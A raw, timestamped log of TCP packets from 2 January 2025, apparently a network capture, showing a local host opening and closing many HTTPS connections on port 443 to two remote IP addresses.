Jan 2, 2025 20:28:27.046665907 CET	49859	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:27.046725988 CET	443	49859	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:27.046735048 CET	49859	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:27.046766996 CET	49859	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:27.047684908 CET	49859	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:27.047698021 CET	443	49859	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:27.048281908 CET	49868	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:27.048348904 CET	443	49868	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:27.048425913 CET	49868	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:27.048748970 CET	49868	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:27.048765898 CET	443	49868	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:27.052174091 CET	443	49860	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:27.052297115 CET	49860	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:27.052314043 CET	443	49860	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:27.052361012 CET	49860	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:27.052545071 CET	49860	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:27.052580118 CET	443	49860	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:27.052711964 CET	49860	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:27.053185940 CET	49869	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:27.053222895 CET	443	49869	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:27.053317070 CET	49869	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:27.053699017 CET	49869	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:27.053714991 CET	443	49869	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:27.087264061 CET	443	49861	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:27.087333918 CET	49861	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:27.088293076 CET	49861	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:27.088308096 CET	443	49861	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:27.088538885 CET	49861	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:27.088546038 CET	443	49861	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:27.290652037 CET	49867	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:27.290710926 CET	49868	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:27.290729046 CET	49869	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:27.290747881 CET	49861	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:27.291843891 CET	49873	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:27.291874886 CET	443	49873	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:27.292182922 CET	49873	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:27.292983055 CET	49873	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:27.292999983 CET	443	49873	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:27.293498993 CET	49874	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:27.293509960 CET	443	49874	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:27.293693066 CET	49874	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:27.294564962 CET	49874	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:27.294578075 CET	443	49874	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:27.296168089 CET	49875	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:27.296205044 CET	443	49875	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:27.296281099 CET	49875	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:27.296633959 CET	49875	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:27.296646118 CET	443	49875	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:27.949486971 CET	443	49874	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:27.949567080 CET	49874	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:27.949949026 CET	443	49875	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:27.950016022 CET	49875	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:27.950297117 CET	443	49874	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:27.950349092 CET	49874	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:27.950792074 CET	443	49875	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:27.950973034 CET	49875	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:27.954955101 CET	49874	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:27.954962015 CET	443	49874	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:27.955271006 CET	443	49874	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:27.955326080 CET	49874	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:27.955823898 CET	49874	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:27.955883980 CET	49875	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:27.955899954 CET	443	49875	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:27.956135988 CET	443	49875	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:27.956186056 CET	49875	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:27.956662893 CET	49875	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:28.003324032 CET	443	49875	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:28.003334999 CET	443	49874	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:28.149251938 CET	443	49873	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:28.149354935 CET	49873	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:28.150257111 CET	49873	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:28.150268078 CET	443	49873	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:28.150463104 CET	49873	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:28.150470018 CET	443	49873	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:28.529400110 CET	443	49874	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:28.529463053 CET	49874	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:28.529479980 CET	443	49874	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:28.529522896 CET	49874	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:28.529678106 CET	443	49874	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:28.529726028 CET	443	49874	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:28.529776096 CET	49874	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:28.529881954 CET	49874	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:28.529894114 CET	443	49874	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:28.529901981 CET	49874	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:28.529936075 CET	49874	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:28.530781031 CET	49884	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:28.530823946 CET	443	49884	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:28.530894041 CET	49884	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:28.531296015 CET	49884	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:28.531327009 CET	443	49884	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:28.532910109 CET	49885	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:28.532943010 CET	443	49885	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:28.533011913 CET	49885	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:28.533385992 CET	49885	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:28.533407927 CET	443	49885	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:28.533812046 CET	443	49875	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:28.534044027 CET	49875	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:28.534061909 CET	443	49875	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:28.534123898 CET	49875	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:28.534214973 CET	49875	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:28.534256935 CET	443	49875	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:28.534318924 CET	49875	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:28.534750938 CET	49886	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:28.534785032 CET	443	49886	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:28.534864902 CET	49886	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:28.535370111 CET	49886	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:28.535393953 CET	443	49886	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:28.579365969 CET	443	49873	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:28.579408884 CET	443	49873	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:28.579420090 CET	49873	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:28.579432011 CET	443	49873	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:28.579452038 CET	49873	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:28.579494953 CET	49873	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:28.579500914 CET	443	49873	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:28.579505920 CET	443	49873	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:28.579549074 CET	49873	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:28.583653927 CET	49873	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:28.583666086 CET	443	49873	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:28.584248066 CET	49887	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:28.584300041 CET	443	49887	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:28.584357023 CET	49887	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:28.584647894 CET	49887	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:28.584681034 CET	443	49887	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:29.173206091 CET	443	49885	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:29.173276901 CET	49885	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:29.177613974 CET	49885	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:29.177623034 CET	443	49885	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:29.177970886 CET	443	49885	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:29.178020000 CET	49885	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:29.178569078 CET	49885	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:29.179411888 CET	443	49884	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:29.179761887 CET	49884	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:29.180335999 CET	49884	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:29.180341005 CET	443	49884	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:29.180926085 CET	49884	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:29.180932045 CET	443	49884	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:29.219324112 CET	443	49885	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:29.220376015 CET	443	49886	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:29.220443010 CET	49886	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:29.220972061 CET	49886	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:29.220978975 CET	443	49886	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:29.221191883 CET	49886	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:29.221196890 CET	443	49886	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:29.240459919 CET	443	49887	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:29.240534067 CET	49887	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:29.242314100 CET	49887	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:29.242319107 CET	443	49887	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:29.242532015 CET	443	49887	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:29.242582083 CET	49887	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:29.243654013 CET	49887	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:29.291318893 CET	443	49887	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:29.574965000 CET	443	49884	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:29.575030088 CET	49884	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:29.575043917 CET	443	49884	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:29.575103045 CET	49884	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:29.575288057 CET	49884	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:29.575349092 CET	443	49884	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:29.575498104 CET	443	49884	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:29.575548887 CET	49884	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:29.575563908 CET	49884	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:29.576041937 CET	49896	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:29.576091051 CET	443	49896	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:29.576237917 CET	49896	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:29.576795101 CET	49896	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:29.576809883 CET	443	49896	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:29.602694035 CET	443	49885	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:29.602761030 CET	49885	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:29.602767944 CET	443	49885	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:29.602777958 CET	443	49885	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:29.602818012 CET	49885	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:29.602828026 CET	443	49885	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:29.602916002 CET	49885	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:29.602920055 CET	443	49885	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:29.602942944 CET	443	49885	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:29.602962017 CET	49885	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:29.602988958 CET	49885	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:29.603851080 CET	49885	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:29.603866100 CET	443	49885	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:29.604512930 CET	49897	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:29.604540110 CET	443	49897	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:29.604613066 CET	49897	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:29.604831934 CET	49897	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:29.604846001 CET	443	49897	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:29.614026070 CET	443	49886	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:29.614219904 CET	49886	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:29.614303112 CET	49886	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:29.614355087 CET	443	49886	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:29.614485979 CET	443	49886	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:29.614537954 CET	49886	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:29.614551067 CET	49886	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:29.614878893 CET	49898	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:29.614907980 CET	443	49898	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:29.614970922 CET	49898	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:29.615206003 CET	49898	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:29.615221977 CET	443	49898	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:29.763917923 CET	443	49887	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:29.763983965 CET	443	49887	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:29.763983965 CET	49887	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:29.763995886 CET	443	49887	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:29.764045954 CET	49887	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:29.764051914 CET	443	49887	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:29.764096975 CET	49887	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:29.764101028 CET	443	49887	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:29.764111042 CET	443	49887	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:29.764144897 CET	49887	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:29.764170885 CET	49887	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:29.765284061 CET	49887	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:29.765299082 CET	443	49887	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:29.766366959 CET	49899	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:29.766424894 CET	443	49899	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:29.766700983 CET	49899	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:29.767164946 CET	49899	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:29.767184973 CET	443	49899	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:30.214664936 CET	443	49896	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:30.214782000 CET	49896	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:30.215548038 CET	443	49896	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:30.215615034 CET	49896	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:30.219348907 CET	49896	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:30.219373941 CET	443	49896	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:30.219706059 CET	443	49896	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:30.219926119 CET	49896	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:30.220503092 CET	49896	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:30.258873940 CET	443	49897	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:30.258951902 CET	49897	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:30.260086060 CET	49897	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:30.260096073 CET	443	49897	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:30.260302067 CET	49897	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:30.260308027 CET	443	49897	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:30.263328075 CET	443	49896	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:30.285955906 CET	443	49898	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:30.286039114 CET	49898	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:30.286741018 CET	443	49898	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:30.286812067 CET	49898	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:30.288732052 CET	49898	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:30.288748980 CET	443	49898	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:30.289007902 CET	443	49898	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:30.289154053 CET	49898	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:30.289561033 CET	49898	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:30.335334063 CET	443	49898	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:30.395278931 CET	443	49899	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:30.395349979 CET	49899	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:30.396198988 CET	49899	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:30.396214962 CET	443	49899	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:30.396403074 CET	49899	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:30.396409035 CET	443	49899	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:30.605015993 CET	443	49896	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:30.605102062 CET	49896	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:30.605135918 CET	443	49896	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:30.605189085 CET	49896	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:30.605312109 CET	49896	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:30.605361938 CET	443	49896	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:30.605540037 CET	443	49896	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:30.605597019 CET	49896	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:30.605614901 CET	49896	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:30.605959892 CET	49904	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:30.606000900 CET	443	49904	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:30.606235981 CET	49904	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:30.606502056 CET	49904	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:30.606509924 CET	443	49904	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:30.700500011 CET	443	49897	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:30.700561047 CET	443	49897	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:30.700579882 CET	49897	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:30.700608015 CET	443	49897	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:30.700618982 CET	49897	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:30.700647116 CET	49897	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:30.700653076 CET	443	49897	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:30.700686932 CET	443	49897	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:30.700690031 CET	49897	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:30.700730085 CET	49897	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:30.701431990 CET	49897	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:30.701450109 CET	443	49897	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:30.702150106 CET	49905	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:30.702181101 CET	443	49905	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:30.702692986 CET	443	49898	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:30.702749968 CET	443	49898	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:30.702805996 CET	49898	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:30.702874899 CET	49905	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:30.703036070 CET	49905	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:30.703044891 CET	443	49905	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:30.703346968 CET	49898	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:30.703352928 CET	443	49898	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:30.703824997 CET	49906	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:30.703843117 CET	443	49906	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:30.703994989 CET	49906	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:30.704366922 CET	49906	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:30.704380035 CET	443	49906	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:30.837153912 CET	443	49899	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:30.837205887 CET	443	49899	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:30.837222099 CET	49899	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:30.837240934 CET	443	49899	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:30.837260962 CET	49899	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:30.837311029 CET	49899	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:30.837321997 CET	443	49899	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:30.837459087 CET	49899	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:30.838119984 CET	443	49899	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:30.838160038 CET	49899	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:30.838160992 CET	443	49899	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:30.838218927 CET	49899	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:30.838232994 CET	49899	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:30.838243008 CET	443	49899	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:30.838788986 CET	49911	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:30.838815928 CET	443	49911	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:30.838892937 CET	49911	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:30.839154005 CET	49911	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:30.839169025 CET	443	49911	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:31.295567989 CET	443	49904	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:31.295864105 CET	49904	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:31.296443939 CET	49904	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:31.296452045 CET	443	49904	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:31.296693087 CET	49904	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:31.296696901 CET	443	49904	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:31.305826902 CET	49905	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:31.305876017 CET	49906	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:31.306029081 CET	49911	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:31.306679964 CET	49912	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:31.306729078 CET	443	49912	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:31.306827068 CET	49912	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:31.308994055 CET	49912	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:31.309011936 CET	443	49912	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:31.688119888 CET	443	49904	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:31.688195944 CET	49904	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:31.688344002 CET	49904	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:31.688396931 CET	443	49904	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:31.688448906 CET	49904	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:31.689068079 CET	49919	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:31.689068079 CET	49918	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:31.689140081 CET	443	49919	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:31.689155102 CET	443	49918	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:31.689212084 CET	49919	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:31.689241886 CET	49918	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:31.689500093 CET	49919	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:31.689500093 CET	49918	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:31.689522982 CET	443	49919	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:31.689538956 CET	443	49918	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:31.946309090 CET	443	49912	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:31.946386099 CET	49912	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:31.947513103 CET	443	49912	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:31.947578907 CET	49912	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:31.952964067 CET	49912	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:31.952982903 CET	443	49912	142.250.185.78	192.168.2.6
